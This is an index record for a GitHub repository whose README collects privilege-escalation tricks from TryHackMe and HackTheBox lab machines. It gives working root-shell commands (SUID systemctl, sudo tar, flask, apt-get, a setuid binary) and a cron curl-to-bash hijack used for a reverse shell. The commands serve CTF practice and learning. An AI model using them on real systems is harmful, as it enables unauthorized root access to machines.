{"id":21908980,"url":"https://github.com/jayhawk24/ways-to-escalate-privileges","last_synced_at":"2025-03-22T07:48:27.560Z","repository":{"id":130218945,"uuid":"289058274","full_name":"jayhawk24/Ways-To-Escalate-Privileges","owner":"jayhawk24","description":"This repository contains multiple ways through which I escalated my privileges with multiple machines that I have done on tryhackme and hackthebox.","archived":false,"fork":false,"pushed_at":"2020-08-20T17:45:47.000Z","size":22,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-01-27T08:11:45.353Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jayhawk24.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-08-20T16:42:12.000Z","updated_at":"2021-05-10T12:45:48.000Z","dependencies_parsed_at":"2023-03-20T09:32:12.894Z","dependency_job_id":null,"html_url":"https://github.com/jayhawk24/Ways-To-Escalate-Privileges","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jayhawk24%2FWays-To-Escalate-Privileges","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jayhawk24%2FWays-To-Escalate-Privileges/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jayhawk24%2FWays-To-Escalate-Privileges/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jayhawk24%2FWays-To-Escalate-Privileges/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jayhawk24","download_url":"https://codeload.github.com/jayhawk24/Ways-To-Escalate-Privileges/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244924767,"owners_count":20532874,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-28T17:14:33.140Z","updated_at":"2025-03-22T07:48:27.545Z","avatar_url":"https://github.com/jayhawk24.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Ways To Escalate Privileges\nThis repository contains multiple ways through which I escalated my privileges with multiple machines that I have done on tryhackme and hackthebox.\n\n\n## SUID /bin/systemctl - Vulnversity\nIn Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives temporary permissions to a user to run the program/file with the permission of the file owner (rather than the user who runs it).\n\n![Alt text](https://i.imgur.com/ZhaNR2p.jpg)\n\nFor example, the binary file to change your password has the SUID bit set on it (/usr/bin/passwd). This is because to change your password, it will need to write to the shadowers file that you do not have access to, root does, so it has root privileges to make the right changes.\n\n### Exploit\n\nsudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl'\nTF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id \u003e /tmp/output\"\n[Install]\nWantedBy=multi-user.target' \u003e $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n\n\n## /etc/motd.d Writable Banner - Fowsniff CTF\nThis file is run as root when a user connects to the machine using SSH. We know this as when we first connect we can see we get given a banner (with fowsniff corp). Look in /etc/update-motd.d/ file. If (after we have put our reverse shell in the cube file) we then include this file in the motd.d file, it will run as root and we will get a reverse shell as root!\n\n### Exploit\nhttps://www.hackingarticles.in/fowsniff-1-vulnhub-walkthrough/\n\n\n## Overlayfs Exploit (Kernel) - GoldenEye\n- For kernel version 3.13.x\n- Update gcc to cc in exploit code if gcc is not installed on remote machine.\n- Compile exploit using gcc in your own machine.\n- ./exploit\n\n## Sudo tar - Bounty Hacker\ngetting a root shell from tar from gtfobins : \nsudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n\n## sudo /usr/bin/flask - Haskhell\necho 'import pty;pty.spawn(\"/bin/bash\")' \u003e root.py\nexport FLASK_APP=root.py\nsudo /usr/bin/flask run\n\n## Cronjob , Relative Path Given\n/etc/crontab : * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash\nWe can edit /etc/hosts file so change ip to our machine IP\nFrom our machine setup a python3 http.server and create a file called buildscript.sh and get a reverse shell as root.\n\n## Unusual SUID /usr/sbin/checker - Blog THM\n$ find / -perm -u=s -type f 2\u003e/dev/null\n$ ltrace /usr/sbin/checker\n\ngetenv(\"admin\")                                  = nil\nputs(\"Not an Admin\")                             = 13\nNot an Admin\n+++ exited (status 0) +++\n\n$ export admin=1\n$ ltrace checker\n\ngetenv(\"admin\")                                  = \"1\"\nsetuid(0)                                        = -1\nsystem(\"/bin/bash\")\n\n## Sudo apt-get - Smag Grotto\n$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjayhawk24%2Fways-to-escalate-privileges","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjayhawk24%2Fways-to-escalate-privileges","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjayhawk24%2Fways-to-escalate-privileges/lists"}